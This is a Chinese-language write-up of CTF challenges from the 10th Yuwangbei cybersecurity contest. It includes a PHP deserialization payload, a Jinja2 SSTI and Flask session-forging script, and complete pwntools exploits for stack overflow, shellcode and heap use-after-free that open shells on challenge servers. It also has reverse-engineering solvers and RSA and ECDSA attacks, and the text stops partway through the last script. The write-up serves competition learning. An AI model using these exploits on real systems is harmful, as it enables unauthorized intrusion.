第十届御网杯网络安全大赛 Write Up

ChenFu 发布于 17 天前 139 次阅读


AI 摘要

贪吃蛇作弊、反序列化刷金币、目录穿越绕过、SSTI伪造Session、栈溢出ROP链、ret2text后门、Shellcode注入、堆UAF劫持——十道Web和PWN题,从改分数到getshell,一步步教你攻破御网杯。看完这篇Write Up,你也能成为网络攻防高手。

*还差一道题AK 这次的御网杯题目难度中等 大部分都能解出来 就是官方服务器质量有待提高

团队名: SylphSEC 本次Write Up 经过AI优化才发布 应该更直观点! 如有不足,请多多担待!


一、WEB 篇

1、WEB-Snake_Game|贪吃蛇前端篡改

题目:贪吃蛇游戏结束后提交分数,直接拿 flag

考点:前端数据伪造、POST 请求劫持

解题步骤

  1. 访问靶机,打开贪吃蛇游戏。
  2. 游戏结束后,前端会自动 POST 分数到index.php
  3. 按 F12 打开开发者工具,切换到【Network】面板,找到提交 score 的 POST 请求。
  4. 直接修改请求参数,把score的值改为300,发送请求即可触发 flag。

关键截图

895093877524

flag

flag{990bbcc6f10cdec005051a07f73dbc3c}

2、WEB-PHP_Payment|PHP 反序列化漏洞

题目:数字资产商城,初始余额 20 金币,购买 flag 需 99999 金币

考点:PHP 反序列化、unserialize__destruct魔术方法

解题步骤

  1. 访问靶机:http://120.27.146.76:25269/,初始余额 20 金币,无法购买 flag。
  2. 查看页面源码,发现优惠券接口:/api/apply_coupon.php
  3. 接口代码逻辑:接收 Base64 编码的优惠券,解码后直接unserialize,存在PHP 反序列化漏洞
$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);
  1. 查看models.php,找到PromoManager类:
class PromoManager {
    public $promo_credit;
    public $promo_code;
    function __destruct() {
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
            $_SESSION['balance'] += intval($this->promo_credit);
        }
    }
}

核心:对象销毁时,会把promo_credit的值加到用户余额中。

  1. 构造恶意序列化对象(设置promo_credit=99999):
O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:3:"vip";}
  1. 对恶意字符串进行 Base64 编码:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czozOiJ2aXAiO30=
  1. 访问优惠券接口,提交编码后的字符串,余额暴涨至 100019 金币,购买 flag 商品即可。

关键截图

1457325151968

flag

flag{193b5a23f59bedebfebd5bde9816b8f8}

3、WEB-Enterprise_OA|目录穿越绕过

题目:OA 系统通过module参数加载文件,过滤../

考点:目录穿越绕过、PHP 伪协议、绝对路径读取

解题步骤

1.访问靶机:http://47.99.147.34:18941/,页面导航栏发现参数:

?module=public_notices.php
?module=about.php
?module=contact.php

2.判断为动态文件加载,尝试目录穿越,直接用?module=../../../../etc/passwd,返回报错:

include(etc/passwd): failed to open stream

3.分析源码:后端仅简单过滤../,未禁止绝对路径和 PHP 伪协议。

$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
include($module);

4.直接使用绝对路径读取 flag 文件:

?module=/flag.txt

关键截图

1673016182269

flag

flag{23afce1d8adb0d09b9fbb8bd81324d96}

4、WEB-TaxSystem_SSTI|SSTI 模板注入 + Session 伪造

题目:Flask 税务系统,custom_footer参数可控,存在 SSTI 漏洞

考点:Flask SSTI、Jinja2 模板注入、Session 伪造、权限绕过

解题步骤

  1. 访问靶机,使用源码账号登录:admin / 123456
  2. 发现/preview/<profile_id>页面,当state == AUDIT_PENDING时,custom_footer参数会被拼入模板,调用render_template_string(),存在SSTI 漏洞
  3. 通过/api/import接口修改用户档案,提交 JSON 数据:
{
    "profile_id": 1,
    "data": {
        "state": "AUDIT_PENDING",
        "custom_footer": "{{config}}"
    }
}

4.访问/preview/1{{config}}被 Jinja2 渲染,泄露 Flask 配置:

SECRET_KEY = secret_tax_key_2026_xoxo
DATABASE = /var/lib/sqlite/tax.db

5./admin/vault页面权限判断仅校验 Session:

if session.get('role') != 'tax_inspector': ...

6.利用泄露的SECRET_KEY,伪造管理员 Session:

from flask import Flask
app = Flask(__name__)
app.secret_key = 'secret_tax_key_2026_xoxo'
s = app.session_interface.get_signing_serializer(app)
print(s.dumps({
    'role': 'tax_inspector',
    'user_id': 1
}))

7.替换浏览器 Cookie 为伪造的 Session,访问/admin/vault获取 flag。

关键截图

957845632441

flag

flag{7ca74b4a36594a4b3f1d84ba41425cbd}

二、PWN 篇

5、PWN-Authenticate|基础栈溢出

题目:程序存在gets栈溢出,无保护机制

考点:栈溢出、ROP 链构造、system调用、/bin/sh执行

解题步骤

  1. 获取题目文件vuln,使用checksec查看保护:
No Canary
No PIE
栈可执行

结论:无任何保护,存在栈溢出漏洞。

  1. 分析漏洞点:
read(0, username, 0x40)  // 读取用户名(64字节)
gets(password)              // 无限制读取密码,造成栈溢出
  1. 计算偏移:
  • 用户名缓冲区:64 字节
  • 密码到返回地址偏移:136 字节
  1. 程序内存在/bin/sh字符串和system@plt,构造 ROP 链:
ret(栈对齐)→ pop rdi; ret(传参)→ /bin/sh地址 → system@plt地址

完整 EXP

from pwn import *
import time

context(arch='amd64', os='linux', log_level='debug')
p = remote("47.99.147.34", 12911)

# 关键地址
ret = 0x40101a
pop_rdi = 0x401363
bin_sh = 0x402008
system_plt = 0x4010c0

# 构造payload:64字节用户名+136字节填充+ROP链
payload = b'U'*64 + b'B'*136 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_plt)

p.sendline(payload)
time.sleep(0.3)
p.sendline(b"cat flag")  # 执行命令读取flag
res = p.recvall()
print(res.decode(errors='ignore'))
p.close()

关键截图

1187645257469

flag

flag{2af49daf839824cb86e934be4fde1f96}

6、PWN-NoteService|ret2text 后门利用

题目:程序存在栈溢出,内置后门函数

考点:栈溢出、ret2text、后门函数调用、栈对齐

解题步骤

  1. 获取题目文件vulnlibc-2.31.sochecksec查看保护:
No Canary
NX enabled
No PIE
  1. 漏洞点:read(0, buf, 0x100),栈缓冲区大小仅0x40,存在栈溢出。
  2. 程序二进制中存在后门函数secret_note,直接跳转即可 getshell。
  3. 计算偏移:0x40(缓冲区) + 8(rbp) = 72字节。
  4. 构造 payload:72 字节填充 + 栈对齐 ret + 后门函数地址。

完整 EXP

from pwn import *

context.binary = r"C:\Users\ChenFu\Desktop\YWB\PWN\NoteService\vuln"
context.log_level = "info"

# 靶机信息
HOST = "120.27.146.76"
PORT = 24028

elf = ELF(context.binary.path)

# 关键地址
RET = 0x40101A
SECRET_NOTE = elf.symbols["secret_note"]
OFFSET = 72

def main():
    io = remote(HOST, PORT, timeout=5)
    io.recvuntil(b"Leave your note:\n")

    # 构造payload
    payload = flat(
        b"A" * OFFSET,
        RET,
        SECRET_NOTE,
    )
    io.sendline(payload)
    sleep(0.5)

    # 读取flag
    io.sendline(b"cat flag; cat flag.txt; cat /flag; cat /flag.txt")
    data = io.recvrepeat(5)
    print(data.decode("latin-1", errors="replace"))

    io.interactive()

if __name__ == "__main__":
    main()

关键截图

1441350858070

flag

flag{47448f976eeb425e8081b03c3b2afb7d}

7、PWN-MessageBoard|栈可执行 + Shellcode 注入

题目:程序泄露栈地址,栈可执行,存在栈溢出

考点:栈可执行、Shellcode 注入、地址泄露、溢出覆盖返回地址

解题步骤

  1. checksec查看保护:无 canary、无 PIE、栈可执行,程序会打印栈地址。
  2. 漏洞点:char buf[0x80]; read(0, buf, 0x100);,缓冲区 0x80 字节,读取 0x100 字节,溢出。
  3. 偏移计算:0x80(缓冲区) + 8(rbp) = 136字节。
  4. 利用泄露的栈地址,将 Shellcode 放在栈开头,覆盖返回地址为泄露地址,执行 Shellcode。

完整 EXP

from pwn import *

# 靶机信息
HOST = "120.27.146.76"
PORT = 19743
OFFSET = 0x80 + 8  # 136字节

def build_payload(buf_addr: int) -> bytes:
    # amd64 execve("/bin//sh", 0, 0) Shellcode(22字节,无空字节)
    shellcode = bytes.fromhex(
        "4831f65648bf2f62696e2f2f736857545f6a3b580f05"
    )
    # Shellcode + 填充 + 泄露的栈地址
    return shellcode + b"\x90" * (OFFSET - len(shellcode)) + p64(buf_addr)

def main():
    context.arch = "amd64"
    context.log_level = "info"
    io = remote(HOST, PORT)

    # 接收泄露的栈地址
    io.recvuntil(b"Buffer at: ")
    buf_addr = int(io.recvline().strip(), 16)
    log.success(f"leaked buffer address: {hex(buf_addr)}")

    io.recvuntil(b"Message: ")
    io.send(build_payload(buf_addr))
    sleep(0.3)

    # 读取flag
    io.sendline(b"cat /flag")
    print(io.recvrepeat(2).decode(errors="ignore"))
    io.close()

if __name__ == "__main__":
    main()

关键截图

1696093674302

flag

flag{5e76f1da370f72f3dbac204eade3f3b7}

8、PWN-UserManager|UAF + 堆泄露 +__free_hook 劫持

题目:用户管理系统,存在释放后重用(UAF)漏洞

考点:UAF(释放后重用)、堆地址泄露、libc 基址泄露、__free_hook 劫持、system 调用

解题步骤

  1. 漏洞分析:Delete 释放 pass 和 user 结构体,但未清空指针,Register 时可重叠结构体,造成 UAF。
  2. 利用strcmp做字节 oracle,逐字节爆破泄露堆地址。
  3. 释放大内存块进入 unsorted bin,泄露 main_arena 指针,计算 libc 基址。
  4. 劫持__free_hooksystem,注册密码为/bin/sh的用户,Delete 触发system("/bin/sh")

完整 EXP

from pwn import *
import time

# 靶机和文件路径
HOST, PORT = "120.27.146.76", 26966
BIN = r"C:\Users\ChenFu\Desktop\YWB\PWN\PWN-UserManager\login"
LIBC = r"C:\Users\ChenFu\Desktop\YWB\PWN\PWN-UserManager\libc-2.23.so"

elf = ELF(BIN)
libc = ELF(LIBC)
context.log_level = "info"

# 连接函数
def connect():
    for _ in range(8):
        try:
            r = remote(HOST, PORT, timeout=10)
            r.recvuntil(b"Your choice:", timeout=10)
            return r
        except Exception:
            try: r.close()
            except Exception: pass
            time.sleep(10)
    raise RuntimeError("connect failed")

# 注册、删除、编辑、登录函数
def reg(r, idx, size, data):
    r.sendline(b"2")
    r.recvuntil(b"Input the user id:")
    r.sendline(str(idx).encode())
    r.recvuntil(b"Input the password length:")
    r.sendline(str(size).encode())
    r.recvuntil(b"Input password:")
    if data:
        r.send(data)
    r.recvuntil(b"Your choice:")

def delete(r, idx):
    r.sendline(b"3")
    r.recvuntil(b"Input the user id:")
    r.sendline(str(idx).encode())
    r.recvuntil(b"Your choice:")

def edit(r, idx, data):
    r.sendline(b"4")
    r.recvuntil(b"Input the user id:")
    r.sendline(str(idx).encode())
    r.recvuntil(b"Input new pass:")
    r.send(data)
    r.recvuntil(b"Your choice:")

def login_try(r, idx, data):
    r.sendline(b"1")
    r.recvuntil(b"Input the user id:")
    r.sendline(str(idx).encode())
    r.recvuntil(b"Input the passwords length:")
    r.sendline(str(len(data)).encode())
    r.recvuntil(b"Input the password:")
    if data:
        r.send(data)
    out = r.recvuntil(b"Your choice:", timeout=5)
    return out

# 地址操作函数
def set_user0_pass(r, addr):
    edit(r, 1, p64(addr))

def set_user0_pass_low(r, low):
    edit(r, 1, bytes([low]))

# 泄露指针
def leak_ptr_backwards(r, ptr_addr, high_hint=None):
    known = b""
    for off in range(5, -1, -1):
        set_user0_pass(r, ptr_addr + off)
        order = range(256)
        if high_hint is not None and off == 5:
            order = [high_hint] + [x for x in range(256) if x != high_hint]
        for b in order:
            guess = bytes([b]) + known
            out = login_try(r, 0, guess)
            if b"Wrong password!" not in out and b"Login success!" in out:
                known = guess
                log.info("leak @%#x byte[%d]=%#x -> %s", ptr_addr, off, b, known.hex())
                break
        else:
            raise RuntimeError(f"failed leaking {ptr_addr:#x} at byte {off}, known={known.hex()}")
    return u64(known.ljust(8, b"\x00"))

def leak_heap_s0(r, p0_low=0x10, high_hint=0x55):
    known = b""
    for off in range(5, -1, -1):
        set_user0_pass_low(r, p0_low + off)
        order = range(256)
        if off == 5:
            order = [high_hint, 0x56, 0x55, 0x57] + [x for x in range(256) if x not in (high_hint, 0x56, 0x55, 0x57)]
        for b in order:
            guess = bytes([b]) + known
            out = login_try(r, 0, guess)
            if b"Wrong password!" not in out and b"Login success!" in out:
                known = guess
                log.info("heap byte[%d]=%#x -> %s", off, b, known.hex())
                break
        else:
            raise RuntimeError(f"failed heap leak at byte {off}, known={known.hex()}")
    return u64(known.ljust(8, b"\x00"))

# 主逻辑
r = connect()

# 构造UAF重叠结构体
reg(r, 0, 0x18, b"A")
delete(r, 0)
reg(r, 1, 0x18, b"\x10")

# 泄露堆地址
S0 = leak_heap_s0(r, p0_low=0x10, high_hint=0x55)
P0 = S0 - 0x20
log.success("heap S0=%#x P0=%#x", S0, P0)

# 泄露libc基址
set_user0_pass(r, P0)
L2 = S0 + 0x20
reg(r, 2, 0x100, b"B")
delete(r, 2)
log.info("predicted unsorted chunk L2=%#x", L2)

arena_leak = leak_ptr_backwards(r, L2, high_hint=0x7f)
libc_base = arena_leak - 0x3c4b78
log.success("arena leak=%#x libc=%#x", arena_leak, libc_base)

# 劫持__free_hook为system
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]
log.info("overwrite free_hook=%#x with system=%#x", free_hook, system)

set_user0_pass(r, free_hook)
edit(r, 0, p64(system))

# free("/bin/sh")触发system
reg(r, 3, 0x18, b"/bin/sh\x00")
delete(r, 3)
r.sendline(b"cat flag; cat /flag; cat /flag*")
r.interactive()

关键截图

52932420548

flag

flag{5d2e01c99c338d6ab40a5c1f4c913219}

三、RE 篇

9、RE-rerere|异或校验 + 查表还原

题目:输入 38 字节字符串,通过异或查表校验

考点:异或加密、查表校验、长度校验、反查表还原

解题步骤

  1. 扫描字符串,发现关键提示:Input: Correct! Wrong!,主逻辑在Input:引用附近。
  2. 主函数长度校验:cmp edx, 0x26,输入长度必须为0x26=38字节。
  3. 核心校验逻辑:
for (i = 0; i < len; i++) {
    x = input[i] ^ key[i & 7];
    if (table[x] != target[i]) {
        return 0;
    }
}
return 1;
  1. 关键数据(.rdata 段):
  • target:0x140004020,长度 0x26
  • key:0x140004048,长度 8
  • table:0x140004060,长度 256
  1. 还原逻辑:x = inverse_table[target[i]]input[i] = x ^ key[i & 7]

完整 EXP

import os

def main():
    exe = os.path.join(os.path.dirname(__file__), "rerere.exe")
    rdata_va = 0x140004000
    rdata_off = 0x2200

    def get_off(va):
        return rdata_off + va - rdata_va

    with open(exe, "rb") as f:
        buf = f.read()

    # 读取target、key、table
    part1 = buf[get_off(0x140004020):get_off(0x140004020) + 0x26]
    k = buf[get_off(0x140004048):get_off(0x140004048) + 8]
    tbl = buf[get_off(0x140004060):get_off(0x140004060) + 256]

    # 反查表
    rev_tbl = dict(zip(tbl, range(256)))
    res = bytearray()
    for idx, val in enumerate(part1):
        res.append(rev_tbl[val] ^ k[idx & 7])

    # 验证
    verify = bytearray()
    for idx in range(len(res)):
        verify.append(tbl[res[idx] ^ k[idx & 7]])

    assert verify == part1
    print(res.decode())

if __name__ == "__main__":
    main()

关键截图

1567246761512

flag

flag{c27ee55480192e908930cd3afa1c9adb}

10、RE - 字节码迷踪|PyC 反编译 + Base64 + 异或

题目:Python 字节码文件,Base64 + 单字节异或加密

考点:PyC 字节码反汇编、marshal 解析、Base64 解码、单字节异或解密

解题步骤

  1. 查看 PyC 文件头:cb0d0d0a,为 Python 字节码文件。
  2. 使用marshal.loads(data[16:])读取 code object,dis.dis()反汇编。
  3. 提取关键数据:
  • encoded_flag:"NT8yNCgjYz0hJCllY34lJzRhfiEnOzx+JWQrPX4xJ2FkJTg6KT1hNT8u"
  • xor_key:83
  1. 解密逻辑:Base64 解码后,逐字节异或 key=83,得到 flag。

完整 EXP

#!/usr/bin/env python3
import argparse
import base64
import marshal
import re
from pathlib import Path

DEFAULT_PYC = Path(r"C:\Users\ChenFu\Desktop\YWB\RE\字节码迷踪\py_obf_09.pyc")

def walk_code_consts(code):
    yield code
    for item in code.co_consts:
        if hasattr(item, "co_consts"):
            yield from walk_code_consts(item)

def solve(path: Path) -> str:
    data = path.read_bytes()
    code = marshal.loads(data[16:])

    encoded = None
    xor_key = None
    # 遍历所有常量,提取Base64字符串和异或密钥
    for co in walk_code_consts(code):
        for const in co.co_consts:
            if isinstance(const, str) and re.fullmatch(r"[A-Za-z0-9+/=]{20,}", const):
                encoded = const
            elif isinstance(const, int) and 0 <= const <= 255:
                xor_key = const

    if encoded is None or xor_key is None:
        raise ValueError("encoded flag or xor key not found")

    # Base64解码+异或解密
    decoded = base64.b64decode(encoded)
    return "".join(chr(b ^ xor_key) for b in decoded)

def main():
    parser = argparse.ArgumentParser(description="Solve the Python bytecode challenge.")
    parser.add_argument("pyc", nargs="?", type=Path, default=DEFAULT_PYC)
    args = parser.parse_args()
    print(solve(args.pyc))

if __name__ == "__main__":
    main()

关键截图

986312997574

flag

flag{p0nrwz60-vtg2-rtho-v7xn-bt27vkizn2fl}

11、RE-ChaCha20|流加密解密

题目:APK 文件,native 层 ChaCha20 加密校验

考点:APK 逆向、SO 文件分析、ChaCha20 流加密、密钥 / 随机数提取

解题步骤

  1. 解压 APK,提取 dex 和 native so 文件:lib/x86/libmyapplication.so
  2. 提取 SO 文件字符串,发现关键信息:
  • 密钥 key:149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f
  • 随机数 nonce:44332211abcdef668899aa55
  • 密文 ct:d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb
  1. 反汇编发现 ChaCha20 常量expand 32-byte k,counter 从 1 开始。
  2. ChaCha20 是流加密,加密解密同源,用 key、nonce、counter=1 解密密文。

完整 EXP

#!/usr/bin/env python3
import argparse
import re
import struct
import zipfile
from pathlib import Path

DEFAULT_APK = Path(r"C:\Users\ChenFu\Desktop\YWB\RE\ChaCha20\CrackMe_1_7.apk")

# ChaCha20算法实现
def rotl32(x: int, n: int) -> int:
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def quarter_round(s, a, b, c, d):
    s[a] = (s[a] + s[b]) & 0xFFFFFFFF
    s[d] = rotl32(s[d] ^ s[a], 16)
    s[c] = (s[c] + s[d]) & 0xFFFFFFFF
    s[b] = rotl32(s[b] ^ s[c], 12)
    s[a] = (s[a] + s[b]) & 0xFFFFFFFF
    s[d] = rotl32(s[d] ^ s[a], 8)
    s[c] = (s[c] + s[d]) & 0xFFFFFFFF
    s[b] = rotl32(s[b] ^ s[c], 7)

def chacha20_block(key: bytes, counter: int, nonce: bytes) -> bytes:
    state = list(
        struct.unpack("<4I", b"expand 32-byte k")
        + struct.unpack("<8I", key)
        + (counter,)
        + struct.unpack("<3I", nonce)
    )
    working = state[:]
    for _ in range(10):
        quarter_round(working, 0, 4, 8, 12)
        quarter_round(working, 1, 5, 9, 13)
        quarter_round(working, 2, 6, 10, 14)
        quarter_round(working, 3, 7, 11, 15)
        quarter_round(working, 0, 5, 10, 15)
        quarter_round(working, 1, 6, 11, 12)
        quarter_round(working, 2, 7, 8, 13)
        quarter_round(working, 3, 4, 9, 14)
    return struct.pack("<16I", *[(working[i] + state[i]) & 0xFFFFFFFF for i in range(16)])

def chacha20_xor(data: bytes, key: bytes, nonce: bytes, counter: int = 1) -> bytes:
    out = bytearray()
    for block_id, offset in enumerate(range(0, len(data), 64), start=counter):
        stream = chacha20_block(key, block_id, nonce)
        block = data[offset : offset + 64]
        out.extend(b ^ k for b, k in zip(block, stream))
    return bytes(out)

def solve(path: Path) -> str:
    # 读取SO文件
    with zipfile.ZipFile(path) as apk:
        so = apk.read("lib/x86/libmyapplication.so")

    # 提取key、nonce、密文
    alphabet_off = so.index(b"0123456789abcdef")
    key = so[alphabet_off - 44 : alphabet_off - 12]
    nonce = so[alphabet_off - 12 : alphabet_off]

    candidates = {
        m.group(0)
        for m in re.finditer(rb"\b[0-9a-f]{48}\b", so)
        if m.group(0) != b"000102030405060708091011121314151617181920212223"
    }

    # 解密获取flag
    for target_hex in sorted(candidates):
        plaintext = chacha20_xor(bytes.fromhex(target_hex.decode()), key, nonce)
        try:
            flag = plaintext.decode()
        except UnicodeDecodeError:
            continue
        if flag.startswith("flag{") and flag.endswith("}"):
            return flag

    raise ValueError("flag not found")

def main():
    parser = argparse.ArgumentParser(description="Solve the ChaCha20 APK challenge.")
    parser.add_argument("apk", nargs="?", type=Path, default=DEFAULT_APK)
    args = parser.parse_args()
    print(solve(args.apk))

if __name__ == "__main__":
    main()

关键截图

334731010664

flag

flag{HNCTF62RDYNTFMZ1TF}

12、RE-ECDSA nonce 重用|私钥泄露

题目:两组 ECDSA 签名,nonce 重用,泄露私钥

考点:ECDSA 签名算法、nonce 重用漏洞、私钥恢复、SECP256K1 曲线

解题步骤

  1. 两组签名signature1_r == signature2_r,说明 nonce 重用。
  2. ECDSA 签名公式:s = k^-1 * (z + r * d) mod n
  3. 两组签名相减推导:k = (z1 - z2) * inverse(s1 - s2, n) mod n
  4. 恢复私钥:d = (s1 * k - z1) * inverse(r, n) mod n
  5. 私钥前 32 位为 flag。

完整 EXP

#!/usr/bin/env python3
import argparse
import hashlib
import json
from pathlib import Path

# SECP256K1曲线参数
SECP256K1_P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
SECP256K1_G = (
    55066263022277343669578718895168534326250603453777594175500187360389116729240,
    32670510020758816978083085130507043184471273380659243275938904335757337482424,
)

# 椭圆曲线点运算
def point_add(a, b):
    if a is None:
        return b
    if b is None:
        return a

    x1, y1 = a
    x2, y2 = b

    if x1 == x2 and (y1 + y2) % SECP256K1_P == 0:
        return None

    if a == b:
        slope = (3 * x1 * x1) * pow(2 * y1, -1, SECP256K1_P)
    else:
        slope = (y2 - y1) * pow(x2 - x1, -1, SECP256K1_P)

    slope %= SECP256K1_P
    x3 = (slope * slope - x1 - x2) % SECP256K1_P
    y3 = (slope * (x1 - x3) - y1) % SECP256K1_P
    return x3, y3

def scalar_mul(k, point=SECP256K1_G):
    result = None
    addend = point

    while k:
        if k & 1:
            result = point_add(result, addend)
        addend = point_add(addend, addend)
        k >>= 1

    return result

# SHA256哈希转整数
def sha256_int(hex_message):
    message = bytes.fromhex(hex_message)
    return int.from_bytes(hashlib.sha256(message).digest(), "big")

# 恢复私钥
def recover_private_key(data):
    if data.get("curve") != "SECP256k1":
        raise ValueError(f"unsupported curve: {data.get('curve')!r}")

    r1 = int(data["signature1_r"])
    r2 = int(data["signature2_r"])
    if r1 != r2:
        raise ValueError("signature r values differ; nonce reuse is not present")

    s1 = int(data["signature1_s"])
    s2 = int(data["signature2_s"])
    z1 = sha256_int(data["message1"])
    z2 = sha256_int(data["message2"])

    # 计算nonce k
    k = ((z1 - z2) * pow((s1 - s2) % SECP256K1_N, -1, SECP256K1_N)) % SECP256K1_N
    # 计算私钥d
    private_key = ((s1 * k - z1) * pow(r1, -1, SECP256K1_N)) % SECP256K1_N
    return k, private_key

def main():
    parser = argparse.ArgumentParser(description="Recover a secp256k1 ECDSA private key from nonce reuse.")
    parser.add_argument(
        "challenge",
        nargs="?",
        type=Path,
        default=Path("challenge.json"),
        help="path to challenge.json; defaults to ./challenge.json",
    )
    parser.add_argument(
        "--flag-prefix",
        default="flag{ecdsa_nonce_reuse_",
        help="flag prefix before the first 32 hex chars of the private key",
    )
    args = parser.parse_args()

    # 读取签名数据
    data = json.loads(args.challenge.read_text(encoding="utf-8"))
    k, private_key = recover_private_key(data)
    private_hex = f"{private_key:064x}"

    # 验证私钥
    expected_public_key = (int(data["public_key_x"]), int(data["public_key_y"]))
    public_key = scalar_mul(private_key)
    public_key_ok = public_key == expected_public_key

    print(f"k: {k}")
    print(f"private_key_dec: {private_key}")
    print(f"private_key_hex: {private_hex}")
    print(f"public_key_matches: {public_key_ok}")
    print(f"flag: {args.flag_prefix}{private_hex[:32]}}}")

    if not public_key_ok:
        raise SystemExit("recovered private key did not match the public key")

if __name__ == "__main__":
    main()

关键截图

1632957215417

flag

flag{ecdsa_nonce_reuse_27da112f7d3f0567c8d95827b4eff200}

13、RE-DES 加密验证|PKCS7 填充剥离

题目:DES 加密验证题,校验逻辑为 Hex 转码 + PKCS7 填充

考点:DES 干扰项、Hex 解码、PKCS7 填充剥离

解题步骤

  1. 查看 APK 和 SO 文件,发现 DES 加密为干扰逻辑,实际校验仅做 Hex 转码和 PKCS7 填充。
  2. 提取关键 Hex 字符串:
666c61677b323032333332363037373838393039363338307d07070707070707
  1. Hex 解码:
s = "666c61677b323032333332363037373838393039363338307d07070707070707"
b = bytes.fromhex(s)
print(b)
# 输出:b'flag{2023326077889096380}\x07\x07\x07\x07\x07\x07\x07'
  1. 末尾 7 个0x07为 PKCS7 填充,剥离填充后得到 flag。

关键截图

462190475452

flag

flag{2023326077889096380}

四、Crypto 篇

14、Cry-BabyRSA|低指数 e=3 直接开立方

题目:RSA 加密,e=3,明文较小

考点:RSA 低指数攻击、无填充 RSA、整数开立方

解题步骤

  1. 题目代码:
m = bytes_to_long(flag)
e = 3
p = getPrime(512)
q = getPrime(512)
n = p * q
c = pow(m, e, n)
  1. 明文 m 远小于 1024-bit 的 n,满足m^3 < n,因此c = m^3 mod n = m^3
  2. 直接对密文 c 开整数三次方,得到 m,转字节即为 flag。

完整 EXP

from Crypto.Util.number import long_to_bytes

# 密文c
c = 2217344750798307351107884404883186392024717286582728792622392458827535569286065686664154238860425984670745343425604930152583551079584945215761153070725981937630533517990833293356809387438502145314432121871771562219710842241279945379559694541987723833309929898606437

# 整数开立方函数
def iroot3(x):
    l, r = 0, 1
    while r ** 3 <= x:
        r *= 2

    while l + 1 < r:
        mid = (l + r) // 2
        if mid ** 3 <= x:
            l = mid
        else:
            r = mid

    return l

# 计算明文m
m = iroot3(c)
print(m ** 3 == c)
print(long_to_bytes(m))

关键截图

799690809748

flag

flag{2f1011202ab5318090e626ede3d99e46}

15、ScatterRSA|Hastad 广播攻击 + Coppersmith 小根

题目:3 组 RSA 密文,c_i = (a_i * m + b_i)^3 mod n_i,m 为 flag

考点:RSA 广播攻击、中国剩余定理(CRT)、Coppersmith 小根攻击、多项式求解

解题步骤

  1. 3 组密文均为(a_i*m + b_i)^3 mod n_i,e=3,m 为相同明文。
  2. 对每组构造多项式:f_i(x) = (a_i*x + b_i)^3 - c_i ≡ 0 mod n_i
  3. 用 CRT 合并 3 个多项式,得到模N = n1*n2*n3的三次多项式f(x) ≡ 0 mod N
  4. flag 较短,m 为小根,用 Coppersmith 算法求解小根 m,转字节得到 flag。

完整 EXP

import math
from functools import reduce

import gmpy2
import sympy as sp
from Crypto.Util.number import long_to_bytes

e = 3
# 三组n、a、b、c
ns = [
    8034769704256378777721283257104387036555065744170902965367188454784528114034392715241845916859207536470943064503572666023995153123040402216173558575026113510993192598128097365540092525779895326149380887433415754433392520369122298839059860084596807014568633500590940296307562337599388839479083104236964599,
    1116111462609740875212511851692310364385795185933449362093680434891851897202181357438766546463816441865542420769037967381198971294009956724985329754079230065249181107364158653329783689743209744528796244218749429051762852502507052548943062242868527953591665882479221110651454464159843582310757929933068677,
    1343584811114898976340677049173312807867034518055407000431372566606104487539498503419689802594859140003846963825224406866105196140280314307541736518650835325775845155217082216227778627278956999800513189568222027647359014659925041508110136254720786148604483456100887695721667170521276392427670381903013427,
]
aa = [
    274802463738823771234037979915170284150,
    195837409534596512418083442701692620720,
    178166232639995825116766884287577950395,
]
bb = [
    74759043850466604391368163495142916832049493297234951774182113528575349347388,
    63673913017247801569924210007728704736367075750773785998761988960787615664075,
    89627373243062664141152890813162893272510222942620192886426846665888819958264,
]
cs = [
    21539693764409170408971043680309531516830203341799063531170222336619433234175134468682200548819225784120311611370371352858368580400363989272311285002038777385682966896104823784058495157322776874385021453144321218717715622197108422412799453795596194541987723833309929898606437,
    78077435812215886996086090747673769578723679996784268112754169589809931676916817277508031614432051209164512108663760096750471608727533587552537713753760696525504588110496034868012991874371624149024517024671723655930148153725244252291481692220169372973255423070840865420153160864376643394488227163410,
    1031042567037646915830706758954514762815884670940578598204760634507886986295138040283570762044664680684657877820865216399758295693616967441315657953431805277600015693340565478336491531705654783364915317056579534318056579534318056577687038331264556804291521427669545501808982073,
]

# CRT合并
def crt(residues, moduli):
    total = 0
    modulus = math.prod(moduli)
    for r, n in zip(residues, moduli):
        m = modulus // n
        total = (total + r * m * int(gmpy2.invert(m, n))) % modulus
    return total, modulus

# 多项式乘法
def poly_mul(a, b):
    out = [0] * (len(a) + len(b) - 1)
    for i, av in enumerate(a):
        for j, bv in enumerate(b):
            out[i + j] += av * bv
    return out

# 多项式幂运算
def poly_pow(poly, power):
    out = [1]
    for _ in range(power):
        out = poly_mul(out, poly)
    return out

# 构造首一多项式
def build_monic_polynomial():
    coeff_residues = [[], [], [], []]
    for n, a, b, c in zip(ns, aa, bb, cs):
        coeffs = [
            (b**3 - c) % n,
            (3 * a * b * b) % n,
            (3 * a * a * b) % n,
            (a**3) % n,
        ]
        for i, coeff in enumerate(coeffs):
            coeff_residues[i].append(coeff)

    coeffs = []
    N = math.prod(ns)
    for residues in coeff_residues:
        coeff, _ = crt(residues, ns)
        coeffs.append(coeff)

    inv_lead = int(gmpy2.invert(coeffs[3], N))
    monic = [(c * inv_lead) % N for c in coeffs]
    monic[3] = 1
    return monic, N

# Coppersmith小根攻击
def coppersmith_univariate_monic(f, N, X, m=2):
    d = len(f) - 1
    polys = []
    for i in range(m):
        fi = poly_pow(f, i)
        for j in range(d):
            p = [0] * j + [coef * (N ** (m - i)) for coef in fi]
            polys.append(p)
    polys.append(poly_pow(f, m))

    max_deg = max(len(p) for p in polys)
    rows = []
    for p in polys:
        row = [0] * max_deg
        for power, coeff in enumerate(p):
            row[power] = int(coeff * (X ** power))
        rows.append(row)

